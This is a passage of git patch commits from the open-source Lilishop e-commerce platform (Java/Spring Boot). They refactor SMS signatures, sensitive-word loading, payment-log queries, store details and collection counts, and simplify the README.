[PATCH 016/145] =?UTF-8?q?=E7=9F=AD=E4=BF=A1=E7=AD=BE=E5=90=8D?= =?UTF-8?q?=E7=BC=BA=E5=A4=B1ID?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/modules/message/entity/dos/SmsSign.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java b/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java index e0bc8092..2e54b1e5 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java +++ b/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java @@ -1,5 +1,6 @@ package cn.lili.modules.message.entity.dos; +import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.TableName; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; @@ -15,7 +16,7 @@ import lombok.Data; @Data @TableName("li_sms_sign") @ApiModel(value = "短信签名") -public class SmsSign { +public class SmsSign extends BaseIdEntity { @ApiModelProperty(value = "签名名称", required = true) private String signName; From 9ae0921f69a9b54fb75f0e3adaf07ee012f71a07 Mon Sep 17 00:00:00 2001 From: lifenlong Date: Fri, 26 Nov 2021 08:39:01 +0800 Subject: [PATCH 017/145] =?UTF-8?q?=E5=90=8C=E6=AD=A5=E5=9C=A8=E9=98=BF?= =?UTF-8?q?=E9=87=8C=E4=BA=91=E4=BF=AE=E6=94=B9=E7=9A=84=E7=9F=AD=E4=BF=A1?= =?UTF-8?q?=E7=AD=BE=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java b/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java index 06717a3a..3cb086b8 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java @@ -65,7 +65,7 @@ public class SmsSignServiceImpl extends ServiceImpl impl try { Map map = new HashMap<>(16); //获取未审核通过的签名列表 - List list = list(new LambdaQueryWrapper().eq(SmsSign::getSignStatus, 0)); + List list = list(new LambdaQueryWrapper().ne(SmsSign::getSignStatus, 1)); //查询签名状态 for (SmsSign smsSign : list) { map = aliSmsUtil.querySmsSign(smsSign.getSignName()); From 61aa3ca3d2f3a8573e13cbb80d97a26cc7c3446a Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 29 Nov 2021 11:47:54 +0800 Subject: [PATCH 018/145] =?UTF-8?q?=E6=95=8F=E6=84=9F=E8=AF=8D=E5=8A=A0?= =?UTF-8?q?=E8=BD=BD=E7=BB=A7=E7=BB=AD=E4=BC=98=E5=8C=96=E4=B8=80=E4=B8=8B?= =?UTF-8?q?=EF=BC=8C=E5=88=9D=E5=A7=8B=E5=8C=96=E6=94=BE=E5=9C=A8consumer?= =?UTF-8?q?=E4=B8=AD=E6=89=A7=E8=A1=8C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/init/SensitiveWordsInit.java | 39 +++++++++++++++++++ ...iveInit.java => SensitiveWordsLoader.java} | 6 ++- 2 files changed, 43 insertions(+), 2 deletions(-) create mode 100644 consumer/src/main/java/cn/lili/init/SensitiveWordsInit.java rename framework/src/main/java/cn/lili/common/sensitive/init/{SensitiveInit.java => SensitiveWordsLoader.java} (84%) diff --git a/consumer/src/main/java/cn/lili/init/SensitiveWordsInit.java b/consumer/src/main/java/cn/lili/init/SensitiveWordsInit.java new file mode 100644 index 00000000..a140c3de --- /dev/null +++ b/consumer/src/main/java/cn/lili/init/SensitiveWordsInit.java @@ -0,0 +1,39 @@ +package cn.lili.init; + +import cn.lili.cache.Cache; +import cn.lili.cache.CachePrefix; +import cn.lili.common.sensitive.SensitiveWordsFilter; +import cn.lili.modules.system.service.SensitiveWordsService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.stereotype.Component; + +import java.util.List; + +/** + * SensitiveWordsInit + * + * @author Chopper + * @version v1.0 + * 2021-11-29 11:38 + */ +@Slf4j +@Component +public class SensitiveWordsInit implements ApplicationRunner { + + @Autowired + private SensitiveWordsService sensitiveWordsService; + + /** + * consumer 启动时,实时更新一下过滤词 + * + * @param args 启动参数 + */ + @Override + public void run(ApplicationArguments args) { + sensitiveWordsService.resetCache(); + } + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java b/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveWordsLoader.java similarity index 84% rename from framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java rename to framework/src/main/java/cn/lili/common/sensitive/init/SensitiveWordsLoader.java index bb504721..b0f5aaa1 100644 --- a/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveInit.java +++ b/framework/src/main/java/cn/lili/common/sensitive/init/SensitiveWordsLoader.java @@ -12,7 +12,7 @@ import org.springframework.stereotype.Component; import java.util.List; /** - * 初始化敏感词 + * 敏感词加载 * * @author Chopper * @version v1.0 @@ -20,13 +20,15 @@ import java.util.List; */ @Component @Slf4j -public class SensitiveInit implements ApplicationRunner { +public class SensitiveWordsLoader implements ApplicationRunner { @Autowired private Cache> cache; /** * 程序启动时,获取最新的需要过滤的敏感词 + *

+ * 这里即便缓存中为空也没关系,定时任务会定时重新加载敏感词 * * @param args 启动参数 */ From db587fda30fea9d9455375d3a52978dc3a4a3863 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 29 Nov 2021 16:38:53 +0800 Subject: [PATCH 019/145] =?UTF-8?q?=E8=A7=84=E8=8C=83service=E8=B0=83?= =?UTF-8?q?=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/order/order/service/OrderService.java | 13 +++++++++++++ .../order/order/serviceimpl/OrderServiceImpl.java | 7 +++++++ .../payment/serviceimpl/PaymentServiceImpl.java | 5 +++-- 3 files changed, 23 insertions(+), 2 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java index 4fb1d04c..9fb0db50 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java @@ -9,10 +9,14 @@ import cn.lili.modules.order.order.entity.dto.OrderMessage; import cn.lili.modules.order.order.entity.dto.OrderSearchParams; import cn.lili.modules.order.order.entity.vo.OrderDetailVO; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; +import cn.lili.modules.order.order.entity.vo.PaymentLog; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.system.entity.vo.Traces; +import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Constants; import com.baomidou.mybatisplus.extension.service.IService; +import org.apache.ibatis.annotations.Param; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletResponse; @@ -235,4 +239,13 @@ public interface OrderService extends IService { * @return 金额 */ Double getPaymentTotal(String orderSn); + + /** + * 查询订单支付记录 + * + * @param page 分页 + * @param queryWrapper 查询条件 + * @return 订单支付记录分页 + */ + IPage queryPaymentLogs(IPage page, Wrapper queryWrapper); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index e618988a..09f1a64d 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -31,6 +31,7 @@ import cn.lili.modules.order.order.entity.enums.*; import cn.lili.modules.order.order.entity.vo.OrderDetailVO; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.order.order.entity.vo.OrderVO; +import cn.lili.modules.order.order.entity.vo.PaymentLog; import cn.lili.modules.order.order.mapper.OrderItemMapper; import cn.lili.modules.order.order.mapper.OrderMapper; import cn.lili.modules.order.order.service.*; @@ -56,6 +57,7 @@ import cn.lili.trigger.message.PintuanOrderMessage; import cn.lili.trigger.model.TimeExecuteConstant; import cn.lili.trigger.model.TimeTriggerMsg; import cn.lili.trigger.util.DelayQueueTools; +import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; @@ -598,6 +600,11 @@ public class OrderServiceImpl extends ServiceImpl implements return order.getFlowPrice(); } + @Override + public IPage queryPaymentLogs(IPage page, Wrapper queryWrapper) { + return baseMapper.queryPaymentLogs(page, queryWrapper); + } + /** * 循环检查批量发货订单列表 * diff --git a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java index 97d8a242..489ba5a2 100644 --- a/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/payment/serviceimpl/PaymentServiceImpl.java @@ -2,6 +2,7 @@ package cn.lili.modules.payment.serviceimpl; import cn.lili.modules.order.order.entity.vo.PaymentLog; import cn.lili.modules.order.order.mapper.OrderMapper; +import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.payment.kit.CashierSupport; import cn.lili.modules.payment.kit.dto.PaymentSuccessParams; import cn.lili.modules.payment.kit.params.CashierExecute; @@ -33,7 +34,7 @@ public class PaymentServiceImpl implements PaymentService { @Autowired private CashierSupport cashierSupport; @Resource - private OrderMapper orderMapper; + private OrderService orderService; @Override public void success(PaymentSuccessParams paymentSuccessParams) { @@ -63,6 +64,6 @@ public class PaymentServiceImpl implements PaymentService { @Override public IPage page(Page initPage, QueryWrapper initWrapper) { - return orderMapper.queryPaymentLogs(initPage, initWrapper); + return orderService.queryPaymentLogs(initPage, initWrapper); } } \ No newline at end of file From a3c597b3c54db11be2a456ac2606a30bdabe9453 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 29 Nov 2021 16:47:22 +0800 Subject: [PATCH 020/145] =?UTF-8?q?=E7=AE=80=E5=8C=96readme?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 75 ++++++++++++++++++++++++------------------------------- 1 file changed, 32 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index f332a555..d42cf646 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -## 🔥 Lilishop B2B2C商城系统 +## Lilishop B2B2C商城系统 -##### 🌹 开源不易,如有帮助请点Star +##### 开源不易,如有帮助请点Star @@ -20,47 +20,33 @@   ![github](https://img.shields.io/github/stars/hongyehuicheng/lilishop.svg?style=social&logo=#181717) -### 🔥 商城介绍 +### 商城介绍 **官网**:https://pickmall.cn Lilishop商城系统支持商家入驻,后端基于SpringBoot 研发,前端使用 Vue、uniapp开发, **系统全端全部代码开源** -商城前后端分离,支持分布式部署,支持Docker,支持k8s,各个API独立,并且有独立的消费者。 +商城前后端分离,支持分布式部署,支持Docker,各个API独立,并且有独立的消费者。 ### 商城 API/消费者 聚合版 api不需要单独部署,只需启动一个jar包就可以正常运转 如有需要,可以点击跳转 https://gitee.com/beijing_hongye_huicheng/lilishop-simplify -### ☃️ 商城 开发/使用/常见问题 帮助文档 +### 商城 开发/使用/常见问题 帮助文档 https://docs.pickmall.cn -### 💧 开源商城项目地址(gitee) +### 项目地址 -**API**:https://gitee.com/beijing_hongye_huicheng/lilishop.git +gitee : https://gitee.com/beijing_hongye_huicheng -**UI(平台管理端/商家端/买家PC端)**: https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git +github 镜像: https://github.com/lilishop?tab=repositories -**uniapp(商城移动端,支持小程序/APP/H5)**:https://gitee.com/beijing_hongye_huicheng/lilishop-uniapp.git - -**docker脚本**:https://gitee.com/beijing_hongye_huicheng/docker.git - -### 💧 开源商城项目地址(github) - -**API**:https://github.com/hongyehuicheng/lilishop.git - -**UI(平台管理端/商家端/买家PC端)**: https://github.com/hongyehuicheng/lilishop-ui.git - -**uniapp(商城移动端,支持小程序/APP/H5)**:https://github.com/hongyehuicheng/lilishop-uniapp.git - -**docker脚本**:https://github.com/hongyehuicheng/docker.git +商城UI 项目下3个文件夹 +buyer:买家PC端,seller:商家端,manager:后台管理端 - -☃️ 商城UI 项目下3个文件夹 buyer:买家PC端,seller:商家端,manager:后台管理端 - - -### 💧 演示地址(手机验证码为 ‘111111’) +### 演示地址 +PS:手机验证码为 ‘111111’ **平台管理端**:https://admin-b2b2c.pickmall.cn 账号:admin/123456 @@ -72,47 +58,50 @@ https://docs.pickmall.cn ![image-20210511171611793](https://pickmall.cn/assets/imgs/h5-qrcode.png) -### 🚙 快速部署本地商城 -https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html +### 快速部署本地商城 -**商城数据库** -https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql +[点击跳转](https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html) + +**商城数据库** +[点击跳转](https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql) + +使用docker-compose部署,自动初始化数据库不需要额外处理 这里有与tag版本一致的sql,根据tag获取sql,如果使用master代码 -### ⚾️ 功能列表 +### 功能列表 -#### 🥎 平台管理端功能 +#### 平台管理端功能 ![平台管理端功能](https://pickmall.cn/assets/imgs/other/managerList.jpg) -#### 🥎 卖家功能 +#### 卖家功能 ![商家端功能](https://pickmall.cn/assets/imgs/other/storeList.jpg) -### 🧩 商城前端功能展示 +### 商城前端功能展示 -#### ⚽️ 商城移动端 +#### 商城移动端 移动端功能展示 -#### ⚽️ 平台管理端 +#### 平台管理端 ![管理端功能展示](https://pickmall.cn/assets/imgs/other/manager.gif) ### 技术选型 -#### 🥅 架构图 +#### 架构图 ![技术选型](https://lili-system.oss-cn-beijing.aliyuncs.com/docs/%E6%9E%B6%E6%9E%84.png) -##### 🕹 后台技术选型 +##### 后台技术选型 | 说明 | 框架 | 说明 | | | -------------- | --------------- | -------------- | ------------- | @@ -126,7 +115,7 @@ https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql | 短信 | 阿里云短信 | 认证 | JWT | | 日志处理 | Log4j | 接口规范 | RESTful | -##### 🖥 前端-运营后台、店铺后台 +##### 前端-运营后台、店铺后台 | 说明 | 框架 | 说明 | 框架 | | ---------- | ---------- | ---------- | ------- | @@ -136,14 +125,14 @@ https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql | 基础UI库 | iView | UI界面基于 | iView | | 网络请求 | axios | | | -##### 📱前端-移动端 +##### 前端-移动端 | 说明 | 架构 | 说明 | 架构 | | --------- | ------- | -------- | ------- | | 基础UI库 | uViewui | 基础框架 | uni-app | | CSS预处理 | scss | 地图引擎 | amap | -### 🌟 版本升级 +### 版本升级 ``` 商城后续会持续版本升级,修复bug,完善功能,覆盖更多业务场景 o2o/b2b/s2b2b2c/跨境电商 @@ -152,7 +141,7 @@ https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql ``` -### ⚠️ 开源须知 +### 开源须知 1.仅允许用于个人学习研究使用. 2.禁止将本开源的代码和资源进行任何形式任何名义的出售. @@ -162,7 +151,7 @@ https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql 4.限制商用,如果需要商业使用请联系我们。QQ3409056806. -### 🐧 交流群 +### 交流群 ##### 官方qq 1群 961316482(已满) ##### 官方qq 2群 875294241 From 71e51b3b6f0e55566239cd7da3e3d7f434bc42e0 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 30 Nov 2021 10:00:46 +0800 Subject: [PATCH 021/145] =?UTF-8?q?=E8=A7=84=E8=8C=83=E5=BA=97=E9=93=BA?= =?UTF-8?q?=E6=A8=A1=E5=9D=97=E8=B0=83=E7=94=A8=E5=95=86=E5=93=81=E6=A8=A1?= =?UTF-8?q?=E5=9D=97=E6=96=B9=E6=B3=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/listener/GoodsMessageListener.java | 3 +-- .../modules/goods/service/GoodsService.java | 7 +++++++ .../goods/serviceimpl/GoodsServiceImpl.java | 17 +++++++++++++++-- .../serviceimpl/StoreDetailServiceImpl.java | 13 ++----------- 4 files changed, 25 insertions(+), 15 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 4f7afc51..24eb1c61 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -369,9 +369,8 @@ public class GoodsMessageListener implements RocketMQListener { */ private void updateGoodsNum(MessageExt messageExt) { - Goods goods; try { - goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); + Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); //更新店铺商品数量 assert goods != null; storeService.updateStoreGoodsNum(goods.getStoreId()); diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index dbf17a60..988515b6 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -6,6 +6,7 @@ import cn.lili.modules.goods.entity.dto.GoodsSearchParams; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.vos.GoodsVO; +import cn.lili.modules.store.entity.dos.Store; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -148,4 +149,10 @@ public interface GoodsService extends IService { * @param goodsId 商品ID */ void updateGoodsCommentNum(String goodsId); + + /** + * 批量更新商品的店铺信息 + * @param store + */ + void updateStoreDetail(Store store); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 08cb2a2d..95fdf09c 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -16,6 +16,7 @@ import cn.lili.common.security.enums.UserEnums; import cn.lili.modules.goods.entity.dos.Category; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsGallery; +import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsOperationDTO; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; import cn.lili.modules.goods.entity.dto.GoodsSearchParams; @@ -29,6 +30,7 @@ import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; import cn.lili.modules.store.entity.dos.FreightTemplate; +import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.vos.StoreVO; import cn.lili.modules.store.service.FreightTemplateService; import cn.lili.modules.store.service.StoreService; @@ -42,6 +44,7 @@ import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; @@ -121,8 +124,8 @@ public class GoodsServiceImpl extends ServiceImpl implements @Override public List getByBrandIds(List brandIds) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper (); - lambdaQueryWrapper.in(Goods::getBrandId,brandIds); + LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper(); + lambdaQueryWrapper.in(Goods::getBrandId, brandIds); return list(lambdaQueryWrapper); } @@ -396,6 +399,16 @@ public class GoodsServiceImpl extends ServiceImpl implements this.updateById(goods); } + @Override + public void updateStoreDetail(Store store) { + UpdateWrapper updateWrapper = new UpdateWrapper<>() + .eq("store_id", store.getId()) + .set("store_name", store.getStoreName()) + .set("self_operated", store.getSelfOperated()); + this.update(updateWrapper); + goodsSkuService.update(updateWrapper); + } + /** * 添加商品默认图片 * diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java index 5c752d51..66e3bb74 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java @@ -64,9 +64,6 @@ public class StoreDetailServiceImpl extends ServiceImpl() - .eq(Goods::getStoreId, store.getId()) - .set(Goods::getStoreName, store.getStoreName()) - .set(Goods::getSelfOperated, store.getSelfOperated())); - goodsSkuService.update(new LambdaUpdateWrapper() - .eq(GoodsSku::getStoreId, store.getId()) - .set(GoodsSku::getStoreName, store.getStoreName()) - .set(GoodsSku::getSelfOperated, store.getSelfOperated())); + goodsService.updateStoreDetail(store); Map updateIndexFieldsMap = EsIndexUtil.getUpdateIndexFieldsMap( MapUtil.builder().put("storeId", store.getId()).build(), From 0e7665f59d389b7b6af43e4fecdf641b5355429c Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 30 Nov 2021 15:00:30 +0800 Subject: [PATCH 022/145] =?UTF-8?q?=E5=BA=97=E9=93=BA=E6=94=B6=E8=97=8F/?= =?UTF-8?q?=E5=95=86=E5=93=81=E6=94=B6=E8=97=8F=E9=97=AE=E9=A2=98=E5=A4=84?= =?UTF-8?q?=E7=90=86=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 5 +--- .../modules/goods/service/GoodsService.java | 2 ++ .../goods/serviceimpl/GoodsServiceImpl.java | 1 + .../member/entity/dto/CollectionDTO.java | 28 +++++++++++++++++++ .../GoodsCollectionServiceImpl.java | 5 +--- .../StoreCollectionServiceImpl.java | 9 ++++++ .../modules/store/mapper/StoreMapper.java | 10 +++++++ .../modules/store/service/StoreService.java | 5 ++-- .../store/serviceimpl/StoreServiceImpl.java | 12 ++------ 9 files changed, 58 insertions(+), 19 deletions(-) create mode 100644 framework/src/main/java/cn/lili/modules/member/entity/dto/CollectionDTO.java diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 24eb1c61..5ff352ef 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -25,6 +25,7 @@ import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; +import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.member.service.FootprintService; import cn.lili.modules.member.service.GoodsCollectionService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; @@ -198,10 +199,6 @@ public class GoodsMessageListener implements RocketMQListener { List skuIds = JSONUtil.toList(message, String.class); goodsCollectionService.deleteSkuCollection(skuIds); break; - //收藏商品 - case GOODS_COLLECTION: - storeService.updateStoreCollectionNum(new String(messageExt.getBody())); - break; //商品评价 case GOODS_COMMENT_COMPLETE: MemberEvaluation memberEvaluation = JSONUtil.toBean(new String(messageExt.getBody()), MemberEvaluation.class); diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index 988515b6..61013c54 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -6,6 +6,7 @@ import cn.lili.modules.goods.entity.dto.GoodsSearchParams; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.vos.GoodsVO; +import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.store.entity.dos.Store; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -155,4 +156,5 @@ public interface GoodsService extends IService { * @param store */ void updateStoreDetail(Store store); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 95fdf09c..8e34532d 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -27,6 +27,7 @@ import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.mapper.GoodsMapper; import cn.lili.modules.goods.service.*; import cn.lili.modules.member.entity.dos.MemberEvaluation; +import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; import cn.lili.modules.store.entity.dos.FreightTemplate; diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dto/CollectionDTO.java b/framework/src/main/java/cn/lili/modules/member/entity/dto/CollectionDTO.java new file mode 100644 index 00000000..0ec661e0 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/member/entity/dto/CollectionDTO.java @@ -0,0 +1,28 @@ +package cn.lili.modules.member.entity.dto; + +import lombok.AllArgsConstructor; +import lombok.Data; + +/** + * 收藏数量变化DTO + * + * @author Chopper + * @version v1.0 + * 2021-11-30 10:14 + */ +@Data +@AllArgsConstructor +public class CollectionDTO { + + /** + * 变化的模型id + * 商品id/店铺id + */ + private String id; + + /** + * 变化的数量 + * -1 减少1 / +1 增加1 + */ + private Integer num; +} diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java index 692a4b74..35ffb902 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java @@ -3,6 +3,7 @@ package cn.lili.modules.member.serviceimpl; import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.GoodsTagsEnum; import cn.lili.common.security.context.UserContext; @@ -73,10 +74,6 @@ public class GoodsCollectionServiceImpl extends ServiceImpl implements StoreCollectionService { + + @Autowired + private StoreService storeService; + @Override public IPage storeCollection(PageVO pageVo) { QueryWrapper queryWrapper = new QueryWrapper(); @@ -49,6 +56,7 @@ public class StoreCollectionServiceImpl extends ServiceImpl queryWrapper = new QueryWrapper(); queryWrapper.eq("member_id", UserContext.getCurrentUser().getId()); queryWrapper.eq("store_id", storeId); + storeService.updateStoreCollectionNum(new CollectionDTO(storeId, -1)); return this.remove(queryWrapper); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/mapper/StoreMapper.java b/framework/src/main/java/cn/lili/modules/store/mapper/StoreMapper.java index ab9594f0..7d115b53 100644 --- a/framework/src/main/java/cn/lili/modules/store/mapper/StoreMapper.java +++ b/framework/src/main/java/cn/lili/modules/store/mapper/StoreMapper.java @@ -8,6 +8,7 @@ import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Constants; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; +import org.apache.ibatis.annotations.Update; /** * 店铺数据处理层 @@ -37,4 +38,13 @@ public interface StoreMapper extends BaseMapper { IPage getStoreList(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + /** + * 修改店铺收藏数据 + * + * @param storeId 店铺id + * @param num 收藏数量 + */ + @Update("update li_store set collection_num = collection_num + #{num} where id = #{storeId}") + void updateCollection(String storeId, Integer num); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/service/StoreService.java b/framework/src/main/java/cn/lili/modules/store/service/StoreService.java index 0fa2ab0b..578fd291 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/StoreService.java +++ 